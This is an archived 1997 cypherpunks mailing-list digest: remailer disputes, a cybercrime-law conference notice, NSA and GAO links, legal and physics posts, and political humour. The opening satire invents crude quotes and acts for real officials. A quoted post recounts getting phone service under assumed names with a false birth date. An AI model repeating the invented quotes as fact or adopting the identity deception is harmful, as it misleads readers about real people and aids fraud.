at the Coaldust Saloon, denied that her successful efforts to have 
Court TV release only footage that shows her "good side" conflicts
with her client's interests.
Swatting at the drunken hand of Louis Freeh as he made repeated attempts
to grab her ass, hollering, "THIS is your GOOD SIDE, baby!", Cohn noted
that the government was making claims that the solution to the DOD's
admission of having made the physical and financial security of the 
nation and its citizens vulnerable to teenage hackers is to suppress 
the rights of the citizens to engage in free-speech.
"If the government can engage in this type of deliberate masking of 
reality, then I should be able to hide my mole...dimple...", Cohn
corrected herself.

Scott McIntosh, appellate counsel for the Justice Department, who was
drunkenly groping Freeh's ass while his attention was diverted, was
trying to explain to local reportwhores that the basis of the U.S.
government's case was not "prior restraint," but was, rather, "a 
preventative 'First Strike' against the danger of free speech in the 
hands of an unmonitored public."
Louis Freeh, once again missing Cohn's tail end, but catching the tail
end of McIntosh's statement, slapped him upside his head and screamed,
"You're not supposed to tell them that, you fucking moron!"

"John Gilmore, facing heated questions regarding his alleged anonymous
death threat against the Ninth District Court judges, told reportwhores,
"I'm not TruthMonger! I'm...Dimitri Vulis...yeah...and I'm dating
Morgan Fairchild." 

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  The Canadian Nutly News is provided as a public service under the
  alleged auspices of the Electronic Forgery Foundation. Any misuse
  of the information provided by CNN is probably highly redundant. 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Dec 1997 22:55:23 +0800
To: cypherpunks@toad.com
Subject: M$
Message-ID: <199712101441.PAA12002@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




On the frontpage of the USA Tomorrow:

- Finalized is the merger Mr. T and NWO, Inc iniatied with Microsoft. 
  Sources for the NWO, Inc. said that with attitude of Mr. T and the
  Microsoft domination of computers would help in helping citizens
  confirm to their idiotic ideas.

- grubament studies have determined that electron ray showers from
  the distant plant QWERTY (2nd behind the Death Star) could contain
  obscene pictures or worse +467973 bit encrypted messages that can be
  received on the average watch calculator and so it should be destroyed
  to protect those without mechanisms to think for themselves.

- the chief fireant in charge of the DNA Supercomputer is quoted as
  saying that the 'BendOverAndPayYourTaxes Bull' (TM) algorithm had
  found that of all the shit politicians make up there worse is the
  shit that won't flush.

- In Rhode Island it is a felony punishable my 10 years and/or a
  e$10,000 fine to have or have knowledge that a person is thinking
  about an immoral act.

- Jerry Springer, their chief journalist, confirmed with pictures of the 
  rumors that Bill Klinton WAS associating with a Cypherpunk to be 
  Indicted Later at Brooklyn Zoo speaking in the non-decryptable tongue
  of language Ebonics.  The transcript of the meeting was given to a
  fireants at the DNA Supercomputer Lab in a slight hope of finding out
  what was said.

		-Joe7
        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Dec 1997 23:54:29 +0800
To: mail2news@anon.lcs.mit.edu
Subject: Gary L. Burnore's Paranoid Hatred of Privacy and Anonymity
Message-ID: <199712101544.QAA18369@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:

> :Most control freaks like Gary Burnore and the rest of the DataBasix Gang are
> :hypocritical about privacy.  They want to invade that of others at will while
> :protecting their own.  Gary Burnore and Belinda Bryan
> :were worried that their UNLISTED PHONE NUMBERS might be given out, but anyone
> :who dares criticize their actions with an "unlisted" e-mail address is an
> :"anon asshole".
>      
> So you'll post your address and phone number right away, right?

You go first, since you claim you "have nothing to hide".  Why would anyone
with "nothing to hide" choose to "hide behind the skirts of" an unlisted phone
number and street address? (Recognize the rhetoric?  It's yours, not mine.)

> :I'm still wondering what wondrous plans Gary and Belinda had for all
> :those e-mail addresses of the users of the Huge Cajones Remailer if Jeff
> :Burchell had turned them over to DataBasux as they had demanded.  (Not just the
> :senders but the RECIPIENTS as well!)
>     
>      
> More lies from the anonymous asshole.

I posted the URL.  What part of it was a "lie"?  Are you now denying that you
demanded that Jeff Burchell turn over the sendmail logs from his Huge
Cajones Remailer to you and Belinda Bryan?
   
> : Fortunately, Jeff was smarter than your
> :average Burnore and didn't keep such things around to tempt DataBasix,
> :Scientology, etc., so we'll never find out.
>  
> Supposidly, they weren't available.  Now you're claiming he had them but kept
> them private. What else will you accuse Jeff of?  Jeff didn't do anything
> wrong yet you constantly berate him.  What do you have to gain by demeaning
> Jeff?  

Haha!  Nice try at IKYABWAI.  I guess that's the best you at DataBasix can do
to try to divert attention from your activities and tactics?  You and Belinda
were the anti-privacy control freaks who supposed that Jeff had created and
maintained logs for abusive organizations like DataBasix and the Church of 
Scientology to demand.  Jeff knew better all along and didn't keep such info
to tempt people like you.  Had you done your homework rather than blindly
attacking Jeff and his remailer, you'd have known that such data didn't exist
and could have saved yourselves the embarrassment of being caught trying to
demand it.

You still haven't stated your reason for demanding these logs which, had they
existed, would have identified everyone who either sent or received
anonymous messages through the Huge Cajones Remailer.  What wonderful surprises
lay in store for remailer users after their identities had fallen into your
hands?

> Why are you trying to get remailers shut down.

Jeff Burchell NAMED his attackers.  Would you care to point out my name in his 
post? (Yours is named rather often.):

  http://calvo.teleco.ulpgc.es/listas/cypherpunks-unedited@toad.com/HTML-1997-11/msg00536.html
  
Your paranoid conspiracy theories remind me of the kid who blamed the mess in
his bedroom on an invisible herd of stampeding elephants.  ("Well of course
you didn't see them, dad.  They're INVISIBLE.")  In your case, you speculate 
that there's a single "anonymous asshole" who's responsible for everything 
that you CLAIM has occurred.  The problem is, you haven't proven that 90% of 
the stuff you *CLAIM* occurred even happened, let alone was the work of your 
imaginary lone "spam-baiting/forging/child-molesting/cyber-stalking/libeling"
(did I miss anything?) so-called "anon asshole".

How about some proof of your wild charges, Gary?  Only one of us even USES
remailers (or at least admits to it).  You, OTOH, have never had a civil word
to say about ANY anonymous poster.  If remailers were shut down, I'd lose my
ability to post.  What would you lose, Gary?  Is being able to identify your
critics and single them out for harassment really that important to you?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wtshaw@itexas.net (W T Shaw)
Date: Sun, 14 Dec 1997 13:24:56 +0800
To: cypherpunks@toad.com
Subject: new
Message-ID: <wtshaw-0612970006460001@207.101.116.61>
MIME-Version: 1.0
Content-Type: text/plain



jsjia jixrb xpmmt i/bhi tigzz wvrsy smyvo rhxvi jrznw uvyjl nnpye ajsbq bwirh
-- 
wtshaw@itexas.net--crypto: maintaining the right to develop,
publish, and distribute works of my own creation.

Bernstein case: appeal to be heard on December 8th





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Thu, 11 Dec 1997 06:22:29 +0800
To: cypherpunks@cyberpass.net
Subject: CITI conference:The Impact of Cybercommunications on the Law:Criminal,
Message-ID: <v03102802b0b479d7be42@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



Anyone on the list planning to attend?

-------------------------------------------------------------------------------
The Impact of Cybercommunications on the Law: Criminal, Tax, Securities, &
Antitrust 20 December 12, 1997 - Dag Hammarskjold Lounge, Columbia
University

To register:    email:  citi@research.gsb.columbia.edu
          web:    www.citi.columbia.edu

Law in the Electronic Age - It's a Whole New World

The questions of how to prevent and how to detect computer crime are just
the start.  Equally nettlesome are the legal questions  which are just
beginning to be confronted. For example:

-How does one define a computer crime or tort?  How does one prove it in
court?  How does one handle conflicts of laws issues when the locus of the
"crime" is the internet?  What remedies are available or useful - as a
practical matter?  How effective is criminal prosecution in this area? What
happens when the "criminals" are foreign and their activites are lawful in
the host country?

-Who can tax electronic commerce?  How do they do it? What is the
territorial source of income generated in cyberspace?

-How does one prove (or avoid) price collusion under the anti-trust laws
when everyone's prices are instantly available to competitors online?  What
are the antitrust implications of network
economic effects?

-What does the SEC do regarding investor protection when foreign
unregistered securities can be purchased from your desktop PC?  What are
the implications of cyberspace for the future of traditional distribution
channels for IPO's. What is the future of traditional exchanges?

This conference is the beginning of what may prove to be a series of events
which will begin the exploration of these and related questions with
experts active in this arena.


8:30 - 9:00    Continental Breakfast

9:00 - 9:15    Introductory Remarks

9:15 - 10:30   Computer Crime and Fraud, I

Presentations:

Electronic Evidence Recovery and its Use in the Courtroom"
Jason Paroff, Kroll Associates, Inc.

"Computer Crime: The Threat to the Net" David E. Green, Senior Litigation
Counsel, U.S. Dept of Justice

"International Schemes and Corruption" Don Sussis, Interested Inc.

10:30 - 10:45  Coffee Break

10:45 - 12:00  Computer Crime and Fraud, II

Panel Discussion:

Moderator:=20
Thomas J. Fox, Fordham Law School

Discussants:
James Doyle, NYPD
Richard Field, Esq.
Chris Hansen, Senior Counsel, ACLU
David Sobel, Electronic Privacy Information Center
Fred Trickey, Academic Computing, Columbia University
    
12:00 - 1:00   Lunch

1:00 - 2:20    Impact of the Internet on Tax Law

"Electronic Commerce: Are The Current Tax Rules
Adequate, Or Even Relevant"
Howard Levine, Roberts & Holland
Moderator:David L. Robbins, Columbia Business School

Discussants:
Jeffery Colon, Fordham Law School
Elvin Hedgepeth, Director, Office of International Programs, IRS
Robert Wood, Coopers & Lybrand

2:20 - 2:30    Coffee Break

2:30 - 3:50    Impact of the Internet on Securities Law

"Securities Regulation and the Internet: Can Gatekeepers and Intermediaries
Survive in Cyberspace" Robert B. Thompson, Washington University School of
Law

Moderator:
Dr. James Armstrong, Director, Fundamental Family of Funds
    
Discussants:
Dr. Andreas J. Junius, Resident Partner, Puender, Volhard, Weber & Axster
Elizabeth King, Senior Special Counsel, SEC
Andrew Klein, President, Wit Capital Group

3:50 - 4:00    Coffee Break

4:00 - 5:20    Impact of the Internet on Antitrust Law

"That the issue be decided: Cooperation and Competition on the Internet"
David McGowan, Howard, Rice, Nemerovski, Canady, Falk, & Rabkin

Discussants:=20
John Kasdan, Lecturer, Columbia Law School
Laurel Price, Deputy Attorney General of New Jersey
Lowell Williams, Vice President, Bull HN Information Systems
    
5:20 - 6:30    Reception

Directions to Dag Hammarskjold Lounge

The Dag Hammarskjold Lounge is located in the  School of International
Affairs. Enter at 118th Street between Amsterdam Avenue and Morningside
Drive. Take the elevator to the 6th Floor.
The local subway (#1/9) stops at Broadway and 116th street.  Parking is
available at Riverside
Church on 120th Street, between Broadway and Riverside Drive, or on 114th
Street betweenBroadway and Amsterdam.

A full map of the campus and more detailed directions can be found at the
website.


Registration Fee (lunch and breaks included):
Industry: $195; Gov't/Academic/Non-profit: $50

     tel:      212-854-4222
     fax:    212-932-7816
     email:  citi@research.gsb.columbia.edu     web:    www.citi.columbia.edu
     mail:   C.I.T.I
               3022 Broadway, 809 Uris Hall
               Columbia Business School
               New York, NY 10027-7004






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Thu, 11 Dec 1997 06:23:39 +0800
To: cypherpunks@cyberpass.net
Subject: Brilliant Anti-Armor Submunition: Opportunity Exists to ConductCritical Test Prior to Production Decision
Message-ID: <v03102803b0b48627a2b2@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/enriched

 The following item was added to GAO's World Wide Web site in 
Portable Document (PDF) format. 

-  Brilliant Anti-Armor Submunition: Opportunity Exists to Conduct
Critical Test Prior to Production Decision. NSIAD-98-16. 13 pp.
plus 1 appendix (6 pp.) October 30, 1997. 
http://www.gao.gov/new.items/ns98016.pdf

Abstract
The Army is developing the brilliant antiarmor submunition, with acoustic
and infrared seekers working in tandem, to autonomously search for,
track, and destroy moving armored targets. This submunition is to be
carried deep into enemy territory by the Army Tactical Missile System
(ATACMS) Block II missile, which is still in development and is a
modification of the in-production ATACMS Block IA missile, which carries a
different submunition. The brilliant antiarmor submunition and the ATACMS
Block II missile are a $4-billion system designed to support the Army's
"deep fires" mission, which calls for the destruction and/or disruption of
enemy forces at ranges exceeding 100 kilometers. Each Block II missile is
to carry 13 submunitions that will be dispensed over large clusters of high
payoff targets to attack and destroy individual targets. The advantage of
the submunition is that it can cover a large area when dispersed, which
allows it to compensate for target location errors.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 11 Dec 1997 00:06:35 +0800
To: cypherpunks@toad.com
Subject: NSA News
Message-ID: <1.5.4.32.19971210155310.00703fa0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



"National Cryptologic Strategy for the 21st Century":

   http://jya.com/nsa-ncs21.htm

"UFO Documents Index"

   http://jya.com/nsa-ufo.htm

"NSA's FOIA/PA Home Page"

   http://www.nsa.gov:8080/docs/efoia/

"National Vigilance Park"

   http://www.nsa.gov:8080/display/c130/

   "During the Cold War period of 1945-1977, a total of more than 
   40 reconnaissance aircraft were shot down. The secrecy of the 
   reconnaissance programs prevented recognition of the slain 
   military personnel at the time of the incidents. Their loss was 
   mourned by their fellow soldiers, sailors, airmen, and marines in 
   similar programs, but the fallen could not be accorded public 
   honors. The end of the Cold War has allowed the United States 
   to lift some of its security restrictions concerning the 
   reconnaissance programs, permitting us at last to accord due 
   recognition of the achievements and sacrifices of these intrepid 
   military personnel, and to tell their stories. "





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Thu, 11 Dec 1997 06:23:25 +0800
To: jonathon <ravage@ssz.com>
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
In-Reply-To: <199712090021.SAA02221@einstein.ssz.com>
Message-ID: <v03102805b0b3562f3850@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:43 PM +0000 12/9/1997, jonathon wrote:
>On Mon, 8 Dec 1997, Jim Choate wrote:
>
>> analogous situation you would need to use a *listed* phone number registered
>> to anonymous in such a way that ANI displayed the number but any directory
>> search resulted in anonymous w/ no address or other tracing info even for
>> the phone company. To the best of my knowledge no phone company anywhere

Third party, anonymous, telephone services are available.  One in Las Vegas (at least it used to be) is Private Lines, which is an anonyous re-dialer using 900 number billing for payment.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 11 Dec 1997 04:09:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: 'Off' the parking pigs! (fwd)
Message-ID: <199712102019.OAA09412@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 10 Dec 1997 14:45:46 -0500
> From: Eric Seggebruch - NYC SE <eric.seggebruch@East.Sun.COM>
> Subject: Re: 'Off' the parking pigs! (fwd)

> Actually it is possible for the government to get more than one shot at
> a defendant through the doctrine of dual sovereignty (state and
> federal).  That is how they got the police officers involved in the
> Rodney King incident.  When the state court (California) jury let them
> off, the feds prosecuted them for civil rights violations in federal
> court.
> 
> There you have it.

We got nothing here.

The fact is that the charges that were used at the state and federal level
were different charges relating to the same incident. This is *not* double
jeopardy in any sense of the word. Further, other than the Feds deciding to
wait until the outcome of the state trial there was nothing that would have
prevented them from filing in tandem.

Furthermore, this rampant equating of federal and state rights is a real
disservice to understanding the correct functioning of a democracy. State
and federal government agencies are supposed to be equal and indipendant
within the guidelines of the Constitution. As a result for a given act
it is perfectly reasonable and actualy desirable for the state and federal
agencies to file in parallel and indipendently. Re-read the 10th with this
case in mind and perhaps it will clear the confusion up for you.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Seggebruch - NYC SE <eric.seggebruch@East.Sun.COM>
Date: Thu, 11 Dec 1997 03:56:56 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: 'Off' the parking pigs! (fwd)
In-Reply-To: <199712040043.SAA15787@einstein.ssz.com>
Message-ID: <348EF169.FB1AF73D@east.sun.com>
MIME-Version: 1.0
Content-Type: text/plain




Actually it is possible for the government to get more than one shot at
a defendant through the doctrine of dual sovereignty (state and
federal).  That is how they got the police officers involved in the
Rodney King incident.  When the state court (California) jury let them
off, the feds prosecuted them for civil rights violations in federal
court.

There you have it.



--

  *********************************************************************

                                Eric Seggebruch
                                Systems Engineer
                                New York City - Media
                                Sun Microsystems Computer Corporation
                                One New York Plaza 35th Floor
                                New York, NY 10004
                                212-558-9206 (office)
                                800-759-8888 pin 5013326 (page)
                                eric.seggebruch@east.sun.com

  *********************************************************************







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Thu, 11 Dec 1997 04:17:17 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: Staff changes at the Center for Democracy and Technology
In-Reply-To: <1.5.4.32.19971210040246.0070b5c8@pop.pipeline.com>
Message-ID: <v03102836b0b4977f1d46@[204.254.22.38]>
MIME-Version: 1.0
Content-Type: text/plain



Hey that felt good, thanks.

I'm searching for office space as we speak.

-S






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 11 Dec 1997 06:43:41 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
Message-ID: <199712102253.QAA09939@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 10 Dec 1997 12:54:26 -0800
> From: Steve Schear <schear@lvdi.net>
> Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
> 
> At 3:43 PM +0000 12/9/1997, jonathon wrote:
> >On Mon, 8 Dec 1997, Jim Choate wrote:
> >
> >> analogous situation you would need to use a *listed* phone number registered
> >> to anonymous in such a way that ANI displayed the number but any directory
> >> search resulted in anonymous w/ no address or other tracing info even for
> >> the phone company. To the best of my knowledge no phone company anywhere
> 
> Third party, anonymous, telephone services are available.  One in Las Vegas (at least it used to be) is Private Lines, which is an anonyous re-dialer using 900 number billing for payment.

Yeah, and the way it works is that some 3rd party buys a trunk from the
local RBOC and then sets up their PBX and then re-sells the lines. Here's
your test for them. Buy a line and have them list it in the RBOC directory
under 'anonymous'.

Not the same thing as going directly to the RBOC and having them list your
number under 'anonymous'. THAT is the litmus test for true anonymous
phone service *and* to make it equivalent to an anonymous remailer with
address persistance.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 11 Dec 1997 06:41:36 +0800
To: cypherpunks@toad.com
Subject: Cybercrime Summit, from Netly/Afternoon Line
Message-ID: <v03007805b0b4c62349dd@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



*************

http://cgi.pathfinder.com/netly/afternoon/0,1012,1626,00.html

The Netly News / Afternoon Line (http://netlynews.com/)
December 10, 1997
Big Eight Ball

   At a briefing at FBI headquarters today, top police officials from
   eight countries outlined a 10-point action plan calling for greater
   cooperation, joint training and a revision of national laws to combat
   malicious hackers and "cybercrime."

   Anne McLellan, Canada's attorney general, said her country wanted to
   crack down on "old crimes using new technology -- for example, child
   pornography or hate." Left unsaid was how, for instance, the U.S.
   could follow Canada's lead and ban racist web sites, which are
   permissible under the First Amendment.

   Among the virtual crimes listed were the "cyber-offenses" of money
   laundering and... H-bomb smuggling? (In response to a reporter's
   question, the Russians denied they had misplaced 84 of their nuclear
   weapons.) Heinz Lanfermann, Germany's state secretary, added to the
   list of Internet undesirables "all those who are organizing slave
   trading and drug trafficking and car theft."

   U.S. Attorney General Janet Reno pointedly declined to address
   encryption, saying "it was generally not a topic" discussed. She did,
   however, applaud the Internet industry for offering to "work together
   in a collaborative manner" to track "computer criminals."

   But she clearly intends to do more than collaborate: The joint
   principles call for the government "to continue providing the public
   and private sectors with standards for reliable and secure
   telecommunications and data processing technologies." Like the Clipper
   Chip, maybe? --By Declan McCullagh/Washington

[More Afternoon Line stories are at http://netlynews.com/ ]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 11 Dec 1997 07:23:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: update.350 (fwd)
Message-ID: <199712102326.RAA10096@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From physnews@aip.org Wed Dec 10 16:59:59 1997
> Date: Wed, 10 Dec 97 14:35:44 EST
> Subject: update.350
> 
> PHYSICS NEWS UPDATE                         
> The American Institute of Physics Bulletin of Physics News
> Number 350 December 10, 1997   by Phillip F. Schewe and Ben
> Stein
> 
> QUANTUM TELEPORTATION has been experimentally
> demonstrated by physicists at the University of Innsbruck (Anton
> Zeilinger, 011-43-676-305-8608, anton.zeilinger@ uibk.ac.at; Dik
> Bouwmeester, Dik.Bouwmeester@uibk.ac.at).  First proposed in
> 1993 by Charles Bennett of IBM (914-945-3118), quantum
> teleportation allow physicists to take a photon (or any other
> quantum-scale particle, such as an atom), and transfer its properties
> (such as its polarization) to another photon--even if the two photons
> are on opposite sides of the galaxy.  Note that this scheme
> transports the particle's properties to the remote location and not the
> particle itself. And as with Star Trek's Captain Kirk, whose body
> is destroyed at the teleporter and reconstructed at his destination,
> the state of the original photon must be destroyed to create an exact
> reconstruction at the other end.  In the Innsbruck experiment, the
> researchers create a pair of photons A and B that are quantum
> mechanically "entangled": the polarization of each photon is in a
> fuzzy, undetermined state, yet the two photons have a precisely
> defined interrelationship.  If one photon is later measured to have,
> say, a horizontal polarization, then the other photon must "collapse"
> into the complementary state of vertical polarization.  In the
> experiment, one of the entangled photons A arrives at an optical
> device at the exact time as a "message" photon M whose
> polarization state is to be teleported.  These two photons enter a
> device where they become indistinguishable, thus effacing our
> knowledge of M's polarization (the equivalent of destroying
> Kirk).What the researchers have verified is that by ensuring that
> M's polarization is complementary to A's, then B's polarization
> would now have to assume the same value as M's. In other words,
> although M and B have never been in contact, B has been imprinted
> with M's polarization value, across the whole galaxy,
> instantaneously. This does not mean that faster-than-light
> information transfer has occurred. The people at the sending station
> must still convey the fact that teleportation had been successful by
> making a phone call or using some other light-speed or
> sub-light-speed means of communication. While physicists don't
> foresee the possibility of teleporting large-scale objects like humans,
> this scheme will have uses in quantum computing and cryptography. 
> (D. Bouwmeester et al., Nature, 11 Dec 1997; see also
> www.aip.org/physnews/graphics) 
> 
> DO EARTHQUAKES HAVE ELECTRICAL PRECURSORS? The

[material deleted]


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 11 Dec 1997 07:06:39 +0800
To: cypherpunks@toad.com
Subject: Clinton in the doghouse (humor)
Message-ID: <v0300780bb0b4ce53368e@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



LAUGH TRACK
	The Clintons' new dog -- Bill Maher: "This dog is going to
live in the White House, so it's going have to go outside if it's
going to make fund raising calls" ("PI," ABC 12/9).  David
Letterman: "And now they've got him working on training him to
dig cemetary plots at Arlington National Cemetery" ("Late Show,"
CBS 12/9).  Jay Leno on VP Gore: "New movie coming out called
"Digging to China' It's all about Al Gore's search for campaign
donations" ("Tonight," 12/9). For more on the complicated family
tree of Mick Jagger and Jerry Hall, who just had a baby (his 6th,
her 4th), click Back Bench.
	TOP TEN COMPLAINTS OF PRESIDENT CLINTON'S NEW PUPPY
10. Whenever you bury a bone, president digs it up and eats it.
	9. Late-night walks always end up at local Hooters.
	8. Much too easy to mistake Al Gore for a tree.
	7. Keep getting yelled at for "fetching" Sam Donaldson's
	hairpiece.
	6. When the president says "Roll over," he's usually talking to
	his date.
	5. Roger hogs all the best chew-toys.
	4. If you so much as look at Janet Reno, you get an assfull of
	size-13 pump.
	3. Leash not as nice as the one Hillary uses on Bill.
	2. Unfair having to get "fixed" when Clinton's the one who
	really needs it.
	1. Fighting with Bill over the last snausage (CBS, 12/9).

  TV SOUNDBITE

"This story's not going to die."
-- ABC's Cokie Roberts on the fundraising scandals, "GMA," 12/10






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 11 Dec 1997 07:41:59 +0800
To: cypherpunks@toad.com
Subject: Crypto-buff & conservative GOPer for president?
Message-ID: <v0300780ab0b4cd00e6ec@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



*9   ASHCROFT: HEALER OF THE BREACH?
	Under the header "The Gospel According To John," New
Republic's Zengerle profiles Sen. John Ashcroft (R-MO).
Ashcroft, "the most authentic social conservative currently
receiving serious consideration" for the GOP nod, is "laying
claim to the Reagan legacy," in an effort to "prevent his base
from splintering."  An ally of the religious right, "who view
Ashcroft as a fellow traveler," he "holds morning prayer meetings
in his office, and on Sundays he attends Assembly of God services
in an underground movie theater at Union Station."  He has
proposed a bill to make social Security taxes deductible, will
unveil his own flat-tax proposal and "continues to push" for term
limits.  His "strategy has one salient flaw, however: it is risky
for a candidate of such low national name recognition to cast
himself as a healer of the breach."  A prominent conservative:
"Steve Forbes can't legitimately say that he's been fighting the
good fight for this community for the past ten years. ... He's
kicked this constituency in the teeth for a better part of the
decade. If I'm John Ashcroft, I'd point that out" (12/22 issue).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Thu, 11 Dec 1997 07:54:04 +0800
To: <cypherpunks@ssz.com>
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
Message-ID: <199712102348.SAA07833@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/9/97 3:57 PM, Jrbl Pookah (lists@castle5.castlec.com)  passed
this wisdom:

>>Jim Choate writes:
>>> 
>>>  To the best of my knowledge no phone company anywhere
>>> will allow a customer to purchase service without identifying
>>> themselves to the phone company. Please let me know if there is 
>>>  such a beast somewhere.
>
> Hmm. Excuse the interruption into your conversation here, but I've 
>signed up (in the past) for long-distance service under an assumed 
>name, on a telephone line that I held in a different assumed name. 
>At least in Cincinnati, OH, the phone company didn't (doesn't?) 
>really care, as long as they had a place to send the bills. When 
>they asked for my SSN, I simply told them I wouldn't give it to 
>them, and offered my date-of-birth - which I lied about. They 
>didn't mind.  

 ... hmmmm ... for my .02 ... isn't the entrie arguemnt rather
academic/ Thje simple matter is regradless of whose  name it is in,
its tied to a physical location where sooner or later you can be
apprehended/discovered. 

 A more reasonable question might be has anyone secured cellular
service without some serious credit/identity queries? If one can work
out he details of getting payment to them (they seem to care little
about what goes on so long as they are paid!) that preserves
anonymity, as well as keeping on the move to defy the cell trackers
then maybe there is some anonymity to be achieved.

 ... hey anybody designed a 'crowds' for cell phones???

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNI8qOD7r4fUXwraZAQF3TQf+PSDf6ZhYd3TQN4fpRWYe2FP1dv5ATrTD
44ENHDDLUplcvcZuTYf4kqM5PoOYQ0qsEfJu/YXRA5Ygpoj2q0yTUvkH194WbXk+
dzplLkc74kjMTVT48Jj3+ax5HlRhl7moQcXHDEYzdAHz1iIKvKWsPDkj0+5quaAb
FldkENUU0HRLkyxmh6E7bICDPXUfaBCWzlspwYHK2iP138qpIe7TE1gNUrUrwK3P
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=zGLX
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Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

"The reason worry kills more people than work is that more people worry
 than work" -- Robert Frost (1874-1963)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 11 Dec 1997 11:59:52 +0800
To: cypherpunks@cyberpass.net
Subject: Back to the drawing board ...
Message-ID: <v0400273cb0b4ed62dd3b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Resent-Date: Wed, 10 Dec 1997 14:32:10 -0500
X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO
protocol
To: 0xdeadbeef@substance.abuse.blackdown.org
Subject: Back to the drawing board ...
Date: Wed, 10 Dec 1997 13:19:18 -0500
From: glen mccready <glen@qnx.com>
